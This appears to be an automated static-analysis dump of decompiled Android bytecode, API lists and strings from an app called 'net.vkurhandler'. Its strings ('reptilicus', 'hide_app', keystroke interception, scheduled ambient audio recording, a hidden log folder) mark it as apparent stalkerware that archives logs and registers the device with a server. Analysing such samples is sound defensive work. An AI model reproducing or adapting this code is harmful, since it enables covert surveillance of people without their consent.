                    28invoke-virtual {v1, v2}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    29move-result-object v1
                    30aget-object v2, v1, v0
                    32invoke-static {v2, v0}, Lnet/vkurhandler/gn;->b(Ljava/lang/String;I)I
                    33move-result v2
                    34aget-object v3, v1, v6
                    36invoke-static {v3, v0}, Lnet/vkurhandler/gn;->b(Ljava/lang/String;I)I
                    37move-result v3
                    38array-length v4, v1
                    39const/4 v5, 0x3
                    40if-ne v4, v5, :cond_3d
                    41const/4 v4, 0x2
                    42aget-object v1, v1, v4
                    44invoke-static {v1, v0}, Lnet/vkurhandler/gn;->b(Ljava/lang/String;I)I
                    45move-result v0
                    46cond_3d:
                    47iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->aa:Landroid/widget/EditText;
                    49invoke-static {v3}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                    50move-result-object v3
                    52invoke-virtual {v1, v3}, Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V
                    54iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->n:Landroid/widget/Spinner;
                    56invoke-virtual {v1, v0}, Landroid/widget/Spinner;->setSelection(I)V
                    57new-instance v0, Landroid/widget/ArrayAdapter;
                    59invoke-virtual {p0}, Lnet/vkurhandler/SettingsActivity;->getApplicationContext()Landroid/content/Context;
                    60move-result-object v1
                    61const v3, 0x1090008
                    63invoke-direct {v0, v1, v3}, Landroid/widget/ArrayAdapter;-><init>(Landroid/content/Context;I)V
                    64iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ay:Landroid/widget/ArrayAdapter;
                    66iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ay:Landroid/widget/ArrayAdapter;
                    67const v1, 0x7f060126
                    69invoke-virtual {p0, v1}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    70move-result-object v1
                    72invoke-virtual {v0, v1}, Landroid/widget/ArrayAdapter;->add(Ljava/lang/Object;)V
                    74iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ay:Landroid/widget/ArrayAdapter;
                    75const v1, 0x7f060127
                    77invoke-virtual {p0, v1}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    78move-result-object v1
                    80invoke-virtual {v0, v1}, Landroid/widget/ArrayAdapter;->add(Ljava/lang/Object;)V
                    82iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ay:Landroid/widget/ArrayAdapter;
                    83const v1, 0x7f060148
                    85invoke-virtual {p0, v1}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    86move-result-object v1
                    88invoke-virtual {v0, v1}, Landroid/widget/ArrayAdapter;->add(Ljava/lang/Object;)V
                    90iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ay:Landroid/widget/ArrayAdapter;
                    91const v1, 0x1090009
                    93invoke-virtual {v0, v1}, Landroid/widget/ArrayAdapter;->setDropDownViewResource(I)V
                    95iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->m:Landroid/widget/Spinner;
                    97iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->ay:Landroid/widget/ArrayAdapter;
                    99invoke-virtual {v0, v1}, Landroid/widget/Spinner;->setAdapter(Landroid/widget/SpinnerAdapter;)V
                    101iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->m:Landroid/widget/Spinner;
                    103invoke-virtual {v0, v2}, Landroid/widget/Spinner;->setSelection(I)V
                    105iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->Z:Landroid/widget/EditText;
                    107iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    109const-string v2, "key_intercept_min_pressed_keys"
                    110const/16 v3, 0xa
                    112invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    113move-result v1
                    115invoke-static {v1}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                    116move-result-object v1
                    118invoke-virtual {v0, v1}, Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V
                    120iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->f:Landroid/app/admin/DevicePolicyManager;
                    122iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->e:Landroid/content/ComponentName;
                    124invoke-virtual {v0, v1}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z
                    125move-result v0
                    126if-eqz v0, :cond_148
                    128iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->M:Landroid/widget/Button;
                    129const v1, 0x7f0600c9
                    131invoke-virtual {p0, v1}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    132move-result-object v1
                    134invoke-virtual {v0, v1}, Landroid/widget/Button;->setText(Ljava/lang/CharSequence;)V
                    135goto_ba: new-instance v0, Ljava/lang/StringBuilder;
                    136const v1, 0x7f0600bc
                    138invoke-virtual {p0, v1}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    139move-result-object v1
                    141invoke-static {v1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    142move-result-object v1
                    144invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    146const-string v1, " "
                    148invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    149move-result-object v0
                    151invoke-virtual {p0}, Lnet/vkurhandler/SettingsActivity;->getPackageName()Ljava/lang/String;
                    152move-result-object v1
                    154invoke-static {p0, v1}, Lnet/vkurhandler/gn;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                    155move-result-object v1
                    157invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    158move-result-object v0
                    160invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    161move-result-object v0
                    163invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->setTitle(Ljava/lang/CharSequence;)V
                    165iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ax:Landroid/widget/ArrayAdapter;
                    167iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->c:Lnet/vkurhandler/bg;
                    168const/16 v2, 0x82
                    170invoke-virtual {v1, v2}, Lnet/vkurhandler/bg;->a(I)Ljava/lang/String;
                    171move-result-object v1
                    173invoke-virtual {v0, v1}, Landroid/widget/ArrayAdapter;->add(Ljava/lang/Object;)V
                    175iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ax:Landroid/widget/ArrayAdapter;
                    177iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->c:Lnet/vkurhandler/bg;
                    178const/16 v2, 0x83
                    180invoke-virtual {v1, v2}, Lnet/vkurhandler/bg;->a(I)Ljava/lang/String;
                    181move-result-object v1
                    183invoke-virtual {v0, v1}, Landroid/widget/ArrayAdapter;->add(Ljava/lang/Object;)V
                    185iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->h:Landroid/widget/Spinner;
                    187iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    189const-string v2, "language"
                    191invoke-interface {v1, v2, v6}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    192move-result v1
                    194invoke-virtual {v0, v1}, Landroid/widget/Spinner;->setSelection(I)V
                    196iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->j:Landroid/widget/Spinner;
                    198iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    200const-string v2, "interval_send"
                    201const/16 v3, 0x12c
                    203invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    204move-result v1
                    206invoke-direct {p0, v1}, Lnet/vkurhandler/SettingsActivity;->c(I)I
                    207move-result v1
                    209invoke-virtual {v0, v1}, Landroid/widget/Spinner;->setSelection(I)V
                    211iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->i:Landroid/widget/Spinner;
                    213iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    215const-string v2, "change_sim_isend"
                    216const/16 v3, 0x258
                    218invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    219move-result v1
                    221invoke-direct {p0, v1}, Lnet/vkurhandler/SettingsActivity;->d(I)I
                    222move-result v1
                    224invoke-virtual {v0, v1}, Landroid/widget/Spinner;->setSelection(I)V
                    226iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    228const-string v1, "hide_app"
                    229const/4 v2, -0x1
                    231invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    232move-result v0
                    233if-gtz v0, :cond_156
                    235iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->Q:Landroid/widget/Button;
                    236const v1, 0x7f0600ea
                    238invoke-virtual {p0, v1}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    239move-result-object v1
                    241invoke-virtual {v0, v1}, Landroid/widget/Button;->setText(Ljava/lang/CharSequence;)V
                    242goto_147: return-void
                    243cond_148:
                    244iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->M:Landroid/widget/Button;
                    245const v1, 0x7f0600c4
                    247invoke-virtual {p0, v1}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    248move-result-object v1
                    250invoke-virtual {v0, v1}, Landroid/widget/Button;->setText(Ljava/lang/CharSequence;)V
                    251goto/16 :goto_ba
                    252cond_156:
                    253iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->Q:Landroid/widget/Button;
                    254const v1, 0x7f0600eb
                    256invoke-virtual {p0, v1}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    257move-result-object v1
                    259invoke-virtual {v0, v1}, Landroid/widget/Button;->setText(Ljava/lang/CharSequence;)V
                    260goto/16 :goto_147
                    APIs
                    • java.lang.StringBuilder.<init>
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.util.Log.d
                    • java.lang.String.endsWith
                    • java.lang.String.endsWith
                    • java.lang.Boolean.booleanValue
                    • android.os.Environment.getExternalStorageDirectory
                    • java.io.File.getAbsolutePath
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.io.File.separator:Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.io.File.<init>
                    • java.io.File.listFiles
                    • java.io.File.getName
                    • java.lang.String.endsWith
                    • java.io.File.getName
                    • java.lang.String.equals
                    • java.io.FileOutputStream.<init>
                    • java.util.zip.ZipOutputStream.<init>
                    • java.util.zip.ZipOutputStream.close
                    • java.io.File.delete
                    • java.lang.StringBuilder.<init>
                    • java.io.File.getName
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.util.Log.d
                    • java.io.File.getName
                    • java.io.File.getAbsolutePath
                    • java.io.File.getAbsolutePath
                    • net.vkurhandler.bm.b:Landroid/content/Context
                    • android.util.Log.d
                    • android.util.Log.d
                    Strings
                    • LogWatcher
                    • onEvent:
                    • ,path:
                    • .log
                    • .system_android/.data/.system_temp
                    • reptilicus
                    • Log archived
                    • type
                    • sub_type
                    • date
                    • file_name
                    • absolute_file_path
                    • file_ext
                    • path
                    • ERROR ARCHIVING FILES
                    • ERROR LIST FILES
                    Position Instruction Meta Information
                    0if-nez p2, :cond_3
                    1cond_2: return-void
                    2cond_3:
                    3const-string v0, "LogWatcher"
                    4new-instance v1, Ljava/lang/StringBuilder;
                    6const-string v2, "onEvent:"
                    8invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    10invoke-static {p1}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                    11move-result-object v2
                    13invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    14move-result-object v1
                    16const-string v2, ",path:"
                    18invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    19move-result-object v1
                    21invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    22move-result-object v1
                    24invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    25move-result-object v1
                    27invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                    29const-string v0, ".log"
                    31invoke-virtual {p2, v0}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                    32move-result v0
                    33if-eqz v0, :cond_2
                    34const-wide/16 v0, 0x1388
                    36invoke-static {v0, v1}, Lnet/vkurhandler/gn;->a(J)V
                    37const/16 v0, 0x80
                    38if-eq p1, v0, :cond_3a
                    39const/16 v0, 0x8
                    40if-ne p1, v0, :cond_2
                    41cond_3a:
                    42const-string v0, ".log"
                    44invoke-virtual {p2, v0}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                    45move-result v0
                    46if-eqz v0, :cond_2
                    47try_start_42:
                    48const-string v0, ".system_android/.data/.system_temp"
                    50sget-object v1, Lnet/vkurhandler/cd;->d:Ljava/lang/Boolean;
                    52invoke-virtual {v1}, Ljava/lang/Boolean;->booleanValue()Z
                    53move-result v1
                    54if-eqz v1, :cond_4e
                    56const-string v0, "reptilicus"
                    57cond_4e: new-instance v1, Ljava/lang/StringBuilder;
                    59invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
                    60move-result-object v2
                    62invoke-virtual {v2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                    63move-result-object v2
                    65invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    66move-result-object v2
                    68invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    70sget-object v2, Ljava/io/File;->separator:Ljava/lang/String;
                    72invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    73move-result-object v1
                    75invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    76move-result-object v0
                    78invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    79move-result-object v0
                    80new-instance v1, Ljava/io/File;
                    82invoke-direct {v1, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    84invoke-virtual {v1}, Ljava/io/File;->listFiles()[Ljava/io/File;
                    85move-result-object v2
                    86array-length v3, v2
                    87const/4 v0, 0x0
                    88move v1, v0
                    89goto_79: if-ge v1, v3, :cond_2
                    90aget-object v0, v2, v1
                    92invoke-virtual {v0}, Ljava/io/File;->getName()Ljava/lang/String;
                    93move-result-object v4
                    95const-string v5, ".log"
                    97invoke-virtual {v4, v5}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                    98move-result v4
                    99if-eqz v4, :cond_107
                    101invoke-virtual {v0}, Ljava/io/File;->getName()Ljava/lang/String;
                    102move-result-object v4
                    104invoke-static {}, Lnet/vkurhandler/bn;->b()Ljava/lang/String;
                    105move-result-object v5
                    107invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    108try_end_94: move-result v4
                    109if-nez v4, :cond_107
                    110try_start_97:
                    111invoke-static {}, Lnet/vkurhandler/gn;->f()Ljava/io/File;
                    112move-result-object v4
                    113new-instance v5, Ljava/util/zip/ZipOutputStream;
                    114new-instance v6, Ljava/io/FileOutputStream;
                    116invoke-direct {v6, v4}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
                    118invoke-direct {v5, v6}, Ljava/util/zip/ZipOutputStream;-><init>(Ljava/io/OutputStream;)V
                    120invoke-static {v0, v5}, Lnet/vkurhandler/gp;->a(Ljava/io/File;Ljava/util/zip/ZipOutputStream;)V
                    122invoke-virtual {v5}, Ljava/util/zip/ZipOutputStream;->close()V
                    124invoke-virtual {v0}, Ljava/io/File;->delete()Z
                    126const-string v5, "LogWatcher"
                    127new-instance v6, Ljava/lang/StringBuilder;
                    129const-string v7, "Log archived "
                    131invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    133invoke-virtual {v0}, Ljava/io/File;->getName()Ljava/lang/String;
                    134move-result-object v7
                    136invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    137move-result-object v6
                    139invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    140move-result-object v6
                    142invoke-static {v5, v6}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                    144invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    145move-result-object v5
                    147const-string v6, "type"
                    148const/4 v7, 0x2
                    150invoke-virtual {v5, v6, v7}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    152const-string v6, "sub_type"
                    153const/16 v7, 0xc
                    155invoke-virtual {v5, v6, v7}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    157const-string v6, "date"
                    159invoke-static {}, Lnet/vkurhandler/gn;->e()Ljava/lang/String;
                    160move-result-object v7
                    162invoke-virtual {v5, v6, v7}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    164const-string v6, "file_name"
                    166invoke-virtual {v4}, Ljava/io/File;->getName()Ljava/lang/String;
                    167move-result-object v7
                    169invoke-virtual {v5, v6, v7}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    171const-string v6, "absolute_file_path"
                    173invoke-virtual {v4}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                    174move-result-object v4
                    176invoke-virtual {v5, v6, v4}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    178const-string v4, "file_ext"
                    180const-string v6, ".log"
                    182invoke-virtual {v5, v4, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    184const-string v4, "path"
                    186invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                    187move-result-object v0
                    189invoke-virtual {v5, v4, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    191iget-object v0, p0, Lnet/vkurhandler/bm;->b:Landroid/content/Context;
                    193invoke-static {v0, v5}, Lnet/vkurhandler/bf;->a(Landroid/content/Context;Lnet/vkurhandler/be;)V
                    194goto_107: add-int/lit8 v0, v1, 0x1
                    195move v1, v0
                    196goto/16 :goto_79
                    197catch_10c: move-exception v0
                    198try_start_10d:
                    199const-string v4, "LogWatcher"
                    201const-string v5, "ERROR ARCHIVING FILES"
                    203invoke-static {v4, v5, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                    204try_end_114: goto/16 :goto_107
                    205catch_115: move-exception v0
                    207const-string v1, "LogWatcher"
                    209const-string v2, "ERROR LIST FILES"
                    211invoke-static {v1, v2, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                    212goto/16 :goto_2
                    APIs
                    • net.vkurhandler.RegistrationActivity.c:Landroid/widget/EditText
                    • android.widget.EditText.getText
                    • android.text.Editable.toString
                    • net.vkurhandler.RegistrationActivity.d:Landroid/widget/EditText
                    • android.widget.EditText.getText
                    • android.text.Editable.toString
                    • net.vkurhandler.RegistrationActivity.e:Landroid/widget/EditText
                    • android.widget.EditText.getText
                    • android.text.Editable.toString
                    • net.vkurhandler.RegistrationActivity.f:Landroid/widget/EditText
                    • android.widget.EditText.getText
                    • android.text.Editable.toString
                    • java.lang.String.matches
                    • java.lang.String.matches
                    • java.lang.String.matches
                    • java.lang.String.matches
                    • net.vkurhandler.RegistrationActivity.getApplicationContext
                    • net.vkurhandler.RegistrationActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • java.lang.String.equals
                    • net.vkurhandler.RegistrationActivity.getApplicationContext
                    • net.vkurhandler.RegistrationActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • net.vkurhandler.RegistrationActivity.h:Lnet/vkurhandler/Mobile
                    • org.json.JSONObject.put
                    • java.lang.String.toLowerCase
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • android.os.Build.MODEL:Ljava/lang/String
                    • org.json.JSONObject.put
                    • android.os.Build.FINGERPRINT:Ljava/lang/String
                    • org.json.JSONObject.put
                    Strings
                    • [A-Za-z0-9\\_\\-\\.]{4,30}
                    • [A-Za-z0-9\\_\\-\\.]{1,}@[A-Za-z0-9\\_\\-\\.]{1,}
                    • module
                    • client
                    • action
                    • create_account
                    • device_id
                    • login
                    • domain_id
                    • password
                    • email
                    • sdk_int
                    • device_name
                    • fingerprint
                    • RegistrationActivity
                    Position Instruction Meta Information
                    0const/4 v5, 0x1
                    2iget-object v0, p0, Lnet/vkurhandler/RegistrationActivity;->c:Landroid/widget/EditText;
                    4invoke-virtual {v0}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                    5move-result-object v0
                    7invoke-interface {v0}, Landroid/text/Editable;->toString()Ljava/lang/String;
                    8move-result-object v0
                    10iget-object v1, p0, Lnet/vkurhandler/RegistrationActivity;->d:Landroid/widget/EditText;
                    12invoke-virtual {v1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                    13move-result-object v1
                    15invoke-interface {v1}, Landroid/text/Editable;->toString()Ljava/lang/String;
                    16move-result-object v1
                    18iget-object v2, p0, Lnet/vkurhandler/RegistrationActivity;->e:Landroid/widget/EditText;
                    20invoke-virtual {v2}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                    21move-result-object v2
                    23invoke-interface {v2}, Landroid/text/Editable;->toString()Ljava/lang/String;
                    24move-result-object v2
                    26iget-object v3, p0, Lnet/vkurhandler/RegistrationActivity;->f:Landroid/widget/EditText;
                    28invoke-virtual {v3}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                    29move-result-object v3
                    31invoke-interface {v3}, Landroid/text/Editable;->toString()Ljava/lang/String;
                    32move-result-object v3
                    34const-string v4, "[A-Za-z0-9\\_\\-\\.]{4,30}"
                    36invoke-virtual {v0, v4}, Ljava/lang/String;->matches(Ljava/lang/String;)Z
                    37move-result v4
                    38if-eqz v4, :cond_49
                    40const-string v4, "[A-Za-z0-9\\_\\-\\.]{4,30}"
                    42invoke-virtual {v1, v4}, Ljava/lang/String;->matches(Ljava/lang/String;)Z
                    43move-result v4
                    44if-eqz v4, :cond_49
                    46const-string v4, "[A-Za-z0-9\\_\\-\\.]{4,30}"
                    48invoke-virtual {v2, v4}, Ljava/lang/String;->matches(Ljava/lang/String;)Z
                    49move-result v4
                    50if-eqz v4, :cond_49
                    52const-string v4, "[A-Za-z0-9\\_\\-\\.]{1,}@[A-Za-z0-9\\_\\-\\.]{1,}"
                    54invoke-virtual {v3, v4}, Ljava/lang/String;->matches(Ljava/lang/String;)Z
                    55move-result v4
                    56if-nez v4, :cond_5c
                    57cond_49:
                    58invoke-virtual {p0}, Lnet/vkurhandler/RegistrationActivity;->getApplicationContext()Landroid/content/Context;
                    59move-result-object v0
                    60const v1, 0x7f0600b3
                    62invoke-virtual {p0, v1}, Lnet/vkurhandler/RegistrationActivity;->getString(I)Ljava/lang/String;
                    63move-result-object v1
                    65invoke-static {v0, v1, v5}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    66move-result-object v0
                    68invoke-virtual {v0}, Landroid/widget/Toast;->show()V
                    69goto_5b: return-void
                    70cond_5c:
                    71invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    72move-result v2
                    73if-nez v2, :cond_75
                    75invoke-virtual {p0}, Lnet/vkurhandler/RegistrationActivity;->getApplicationContext()Landroid/content/Context;
                    76move-result-object v0
                    77const v1, 0x7f0600b4
                    79invoke-virtual {p0, v1}, Lnet/vkurhandler/RegistrationActivity;->getString(I)Ljava/lang/String;
                    80move-result-object v1
                    82invoke-static {v0, v1, v5}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    83move-result-object v0
                    85invoke-virtual {v0}, Landroid/widget/Toast;->show()V
                    86goto/16 :goto_5b
                    87cond_75: new-instance v2, Lorg/json/JSONObject;
                    89invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
                    90try_start_7a:
                    91const-string v4, "module"
                    93const-string v5, "client"
                    95invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    97const-string v4, "action"
                    99const-string v5, "create_account"
                    101invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    103const-string v4, "device_id"
                    105iget-object v5, p0, Lnet/vkurhandler/RegistrationActivity;->h:Lnet/vkurhandler/Mobile;
                    107invoke-virtual {v5}, Lnet/vkurhandler/Mobile;->h()Ljava/lang/String;
                    108move-result-object v5
                    110invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    112const-string v4, "login"
                    114invoke-virtual {v0}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                    115move-result-object v0
                    117invoke-virtual {v2, v4, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    119const-string v0, "domain_id"
                    120const/4 v4, 0x0
                    122invoke-virtual {v2, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    124const-string v0, "password"
                    126invoke-static {v1}, Lnet/vkurhandler/gn;->a(Ljava/lang/String;)Ljava/lang/String;
                    127move-result-object v1
                    129invoke-virtual {v2, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    131const-string v0, "email"
                    133invoke-virtual {v2, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    135const-string v0, "sdk_int"
                    136sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                    138invoke-virtual {v2, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    140const-string v0, "device_name"
                    142sget-object v1, Landroid/os/Build;->MODEL:Ljava/lang/String;
                    144invoke-virtual {v2, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    146const-string v0, "fingerprint"
                    148sget-object v1, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
                    150invoke-virtual {v2, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    151try_end_c5: new-instance v0, Lnet/vkurhandler/dt;
                    153invoke-direct {v0, p0}, Lnet/vkurhandler/dt;-><init>(Lnet/vkurhandler/RegistrationActivity;)V
                    155invoke-static {p0, v2, v0}, Lnet/vkurhandler/ea;->a(Landroid/content/Context;Lorg/json/JSONObject;Lcom/a/a/a/h;)V
                    156goto/16 :goto_5b
                    157catch_ce: move-exception v0
                    159const-string v1, "RegistrationActivity"
                    161invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    162goto/16 :goto_5b
                    APIs
                    • android.app.Activity.onCreate
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.setContentView
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.getApplicationContext
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.t
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.findViewById
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.findViewById
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.findViewById
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.findViewById
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.b:Landroid/widget/Spinner
                    • android.widget.Spinner.setOnItemSelectedListener
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.c:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getInt
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.b:Landroid/widget/Spinner
                    • android.widget.Spinner.setSelection
                    • net.vkurhandler.ap.<init>
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.findViewById
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.findViewById
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.findViewById
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.findViewById
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.c:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getString
